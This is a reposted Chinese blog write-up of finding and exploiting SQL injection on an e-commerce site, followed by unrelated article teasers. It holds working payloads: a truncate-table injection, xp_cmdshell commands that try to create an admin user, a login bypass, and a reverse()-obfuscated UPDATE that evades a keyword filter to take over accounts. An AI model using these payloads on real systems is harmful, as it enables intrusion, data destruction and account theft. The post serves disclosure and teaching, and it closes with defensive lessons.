电子商务网站SQL注入项目实战一例

news/2024/5/9 22:24:35/文章来源:https://blog.csdn.net/weixin_34303897/article/details/89900273

故事A段:发现整站SQL对外输出:


有个朋友的网站,由于是外包项目,深圳某公司开发的,某天我帮他检测了一下网站相关情况。

我查看了页面源代码,发现了个惊人的事情,竟然整站打印SQL到Html里,着实吓我一跳:

PS:2年前秋色园系列文章有分享一文是整站SQL打印用于分析网站性能,不过也只是本地优化调试,而服务器上也采用某特殊条件才打印。

于是把这赤祼祼的对外公开的SQL问题反映了过去,之后算是取消了。

22152752-5294d75b15574da5bbbc04eaf6ae0f1


故事B段:错误异常打印了SQL,诱人:


过了些许天,我又抽空看了看:

原始路径为:http://www.xxx.com/s-l----333.html,我随意加了个引号:

23032707-4e66cdc8fddb4a15aece775ac3d18fb

直接打印SQL?这不是引诱人犯罪么?好吧,当时被诱了一下,花了小半天折腾了一下。


故事C段:发现有简单的SQL关键字过滤: 


随意加了个“and“条件,发现有过滤一些关键字:

23033116-75ebadf2a8e343c4853214b5c4efe52

然后多次检测,发现过滤了:and select,update,delete等关键字。


故事D段:发现可以执行自定义语句,但SQL账号似乎没有SA权限或者是关闭了xp_cmdshell服务:

于是我组了一条truncate table xxx,当然,这是个不存在的表名:

http://www.xxxx.com/s-l-82900-6'%20%20or%201=1;truncate%20table%20abc;--


试了下,执行完成,没报啥提示,太恐怖了。

既然可以执行自定义语句,那执行下提权语句看看:

http://www.xxxx.com/s-l-82900-6'%20%20or%201=1;exec master..xp_cmdshell 'net user test 1234
http://www.xxxx.com/s-l-82900-6'%20%20or%201=1;exec master..xp_cmdshell 'net localgroup administrators test /add


发现没啥提示,但是账号不起效果,所以估计sql的账号没有sa权限可以调用xp_cmdshell,另外这里,由于--符号被用来分隔字符串,所以不起作用。


故事E段:发现登陆有明显的SQL漏洞: 


过了点时间,我就不折腾了,我打算注册个账号看看其它情况。

到了登陆页,发现注册还要绑定手机号,我就不注册了,于是在登陆里随手弄了一个常见的a' or 1=1--

23034921-856e26606b124dc3b95ec3b7041e0bc

竟然报密码错误,吓我一跳,说明用户名注入了,只是密码那关错误。


故事F段:发现验证码竟然在Cookie里: 


通过拦截请求信息,发现更奇葩的事:

23035209-9a87643d0b494831b05de94c6f9721b


验证码竟然直接放在Cookie里,这。。。


故事G段:破解用户密码: 


既然用户名可以注入,为啥密码还报错误?

23035507-e29fcb95d0ce47d09498ba42de10463

通过错误的语法,看了一下对方的SQL语句,猜出了基本的代码逻辑:


根据用户名查出了账号信息,取出的数据的密码再和密码对比。



构造注入语句,发现密码为md5存储:


既然可以注入,这里就可以执行语句了,于是,使用普通的语句弄个账号登陆试试。
一开始我构造了条件:
username=a'  or password='123456'--&password=123456&verifycode=5020 
考虑到用弱密码123456的很多,我就试了下,发现没搞头,本来还想写个爆破弱口令的账号。
后来想想,这密码,一般都是加密的,所以我要知道对方的加密方式。
通过多次构造类似下面的语句:
username=a'  or len(password)=16--&password=123456&verifycode=5020
最终确定了为md5加密存储。
于是把123456 md5一下变成:
username=a'  or password='49ba59abbe56e057'--&password=123456&verifycode=5020


没想到,来了个以下坑爹的提示:

23040941-5cd0c0b8aaeb4577a6645269fa92f62

试了下很多个账号,都是这种情况,这提示太坑爹,忽悠了我。

PS:其实是账号通过了,直接拿返回的Cookie就可以进用户的,不过我被忽悠了,以为不可用。


返回的Cookie,实际也是加密的,所以,这种方式,看不到手机号,所以没法直接简单的登陆。


再构造SQL注入语句,创建属于自己的账号和密码:

于是,我想通过构造更新语句,把某个账号的手机号和密码都更新一下,然后再我登陆进去。
所以,我就必须执行类似于:update xxx set username='13811114444',password='888888'where uid=10003
由于过滤掉update,所以直接来是不行的,本来打还算编码成16进制折腾,发现转16进制麻烦,也懒的开vs折腾。
于是我想到了一个简单的方式,把语句反过来写,再用reverse函数把语句转过来执行。



最终就成了以下函数:

username=13430330585';declare @A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');exec(@A);--&password=88888888&verifycode=2222


执行后,发现都是返回“当前账号已冻结,请联系客户”这句大忽悠的话。。。

害的我试了N个账号,最后拿其中一个登陆了,才发现是正常的。

23042316-42c8d680bfa549a2a1eab72f17f277a


后来告诉了对方有SQL注入漏洞,最后反馈说用SQL工具检测正常,无语。

再后来就示例告诉了对方,修正了这个漏洞后,我就写文分享了。



总结:

1:验证码怎么可以放Cookie里?

2:SQL语句怎么可以随意打印给别人看?

3:SQL注入检测怎么能光靠工具?

4:防SQL注入怎么能靠几个简单的关键字过滤?







     本文转自cyq1162 51CTO博客,原文链接:http://blog.51cto.com/cyq1162/1254934,如需转载请自行联系原作者




本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_803609.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

爬取视频网站的视频

网站视频 解析视频连接 以某一个视频为例: 因为是视频的原因,视频后台服务器为了优化做了对视频这一类大文件的分片处理,所以下面会看到一集视频会包含很多请求链接,本人测试了一下,平均一个请求会对应一个1M的视频文…

【JSP学习笔记】4:使用Model1模式构建购物网站demo

J2EE课的上机题,实现一个Model1模式的购物网站的功能。 编码问题 编码问题终于找到解决方法了,首先保证每个页面能编码的都编成UTF-8,然后所有用到内置对象的地方上来先.setCharacterEncoding("UTF-8");,然后重要的是…

搭建网站必不可少的知识15

网站迁移 备份网站和数据库 在服务器上将网站文件拷贝到另一个文件夹 数据库部分打开phpmyadmin 进入phpboke数据库,点击“导出”进行“执行” 选择数据库要保存的位置,进行保存 网站恢复当我们更换服务商或者系统时进行了网站和数据库的备份&#xff0c…

HTTrack(网站镜像工具)

1、首先打开kali 中的这个工具 Web信息收集工具HTTrack ,会直接出现出现使用语法。 对于传统的像存在Robots.txt的网站,如果程序运行的时候不做限制,在默认的环境下程序不会把网站镜像,简单来说HTTPrack跟随基本的JavaScript或者APPLet、flas…

我的网站搭建: (第十天) Ueditor后台编辑器

之前说过,我的网站编辑器一开始是tinymce,然后才用的ckeditor。可是最近我发现,ckeditor的小图标不是很美观,看久了有点low的样子。我是不是应该换一个编辑器呢,一想到这里,马上打开谷歌搜索有没有更加美观…

Java Web性能测试 - 动态网站测试脚本录制

Java Web性能测试 - 动态网站测试脚本录制 本章讲解使用Badboy对网站的请求进行录制,录制完成的脚本文件可以直接用JMeter使用,免去在JMater中进行配置的时间。 使用Badboy录制基本的目的就是减少我们在使用JMeter测试WEB项目时,一个一个Url…

Java Web项目性能测试 - JMeter测试网站吞吐量、反应时间百分比、流量

Java Web项目性能测试 - JMeter测试网站吞吐量、反应时间百分比、流量 为了衡量、调整、完成Java Web项目的性能指标,满足客户、用户对性能的要求,保证项目上线后能正常运行,以及了解项目的性能指标,为项目性能监控做参考&#x…

Java图片水印生成器代码 - 批量给自己的网站图片加水印

Java图片水印生成器代码 - 批量给自己的网站图片加水印 最近在做一款APP,App中的图片是自己一个个的画出来的,为了保证图片不被盗用和处理,所以就需要加上水印防盗。这跟CSDN一样。 注意事项:1. 我是在window7 eclipse 下完成的…

阿里云云虚拟主机上个人网站的Https访问配置

本文基于阿里云云虚拟主机,我个人网站是基于Hexo博客系统搭建的静态网站,所以搭建Https相对方便 一、获取HTTPS安全证书 在操作之前,请将你的域名的隐私保护去掉,让证书服务商能通过域名解析查看到域名管理者的邮箱,否则验证证书时会无法进行…

阿里云服务提供商分享视频直播网站服务器解决方案

大家应该都听过抖音、西瓜视频这类的视频网站,而且这些视频网站深受大家喜爱。直播模式也如雨后春笋一般快速出现,电商直播也逐渐火热。因此很多视频类公司纷纷搭建视频直播平台,那么这类网站的服务器该如何选择呢?下面就由阿里云…

使用Charles代理工具导致电脑无法正常访问网站(您的连接不是私密连接)

很多开发者都需要使用代理工具来调试接口,查看数据等等,但是有时候发现打开代理工具之后,代理工具同时也拦截了电脑的所有网络请求,导致电脑访问网站时提示(您的连接不是私密连接)。。。 造成这种问题的原因…

大型网站技术架构(七)网站的可扩展性架构

2019独角兽企业重金招聘Python工程师标准>>> 扩展性是指对现有系统影响最小的情况下,系统功能可持续扩展或提升的能力。 设计网站可扩展架构的核心思想是模块化,并在此基础上,降低模块间的耦合性,提供模块的复用性。模…

新书推荐:网站交互设计模式

新书推荐:网站交互设计模式【作  者】(美)Douglas K.Van Dugne;James A.Landay;Jason I.Hong [同作者作品] [作译者介绍] 【译  者】 孙昕;焦洪[同译者作品] 【出 版 社】 电子工业出版社 【书 号】 9787121092046 【上架时间】 2009-7-24 【出版日期】…

html5游戏网站欣赏,70多个HTML5网站设计欣赏

70多个HTML5网站设计欣赏7月 6, 2011评论SponsorHTML5网站确实很不错,能帮助设计师解决很多美化问题外,还能提高更好的用户体验,制作出高效的网站,所以我们应该开始学习CSS3和HTML5这些技术了,不要老是被国外超越我们&…

高并发、高可用、大数据量网站系统演化

一、初始阶段的网站架构 应用程序、数据库、文件等所有资源都在一台服务器上 二、应用服务和数据库服务分离 整个网站使用三台服务器:应用服务器、文件服务器、数据库服务器 应用服务器需要更强大的CPU 文件服务器需要更大的磁盘空间 数据库服务器需要更快的硬盘和更…

WordPress网站漏洞利用及漏洞修复解决方案

2019年正月刚开始,WordPress最新版本存在远程代码注入获取SHELL漏洞,该网站漏洞影响的版本是wordpress5.0.0,漏洞的产生是因为image模块导致的,因为代码里可以进行获取目录权限,以及文件包含功能,导致远程代…

docker容器源码部署httpd,用存储卷部署网站

docker容器源码部署httpd,用存储卷部署网站 创建一个httpd镜像 // 创建一个httpd容器 [rootlocalhost ~]# docker run -tid --name httpd centos 2d693e16f4f3734b127cbae90d189c1b4e78619a54ceec912a82d96cf4f1c345 [rootlocalhost ~]# docker ps CONTAINER ID …

java jsoup爬取动态网站_java笔记|爬取华软mysise所有课程信息

本次内容:使用java爬取网页数据,并进行数据清洗,熟悉爬取操作;爬取华软课程信息:http://class.sise.com.cn:7001/sise/index.jsp//源码package com.sise.studentInfoSystem.demo;import com.sise.studentInfoSystem.be…

win7关于无线连接的服务器,win7怎样解除无线连接限制_网站服务器运行维护,win7,无线连接...

win10系统如何重置密码_网站服务器运行维护win10系统重置密码的方法是:1、右键点击开始图标;2、在弹出的选项列表中,点击选项【Windows PowerShell(管理员)】;3、执行命令【net user 用户名 新密码】即可。win7解除无线连接限制的…

网站服务器和seo,网站所在服务器与网站SEO排名之间的关系

想让你的网站在搜索引擎中获得好的排名,得到更多的客户认可。作为一个合格的SEOer,你就得把网站服务器作为一个重要事项来做。大家都知道网站是由域名、服务器及页面文件组成的,从这个你也就可以看出服务器的重要性。SEO优化包含的面非常广&a…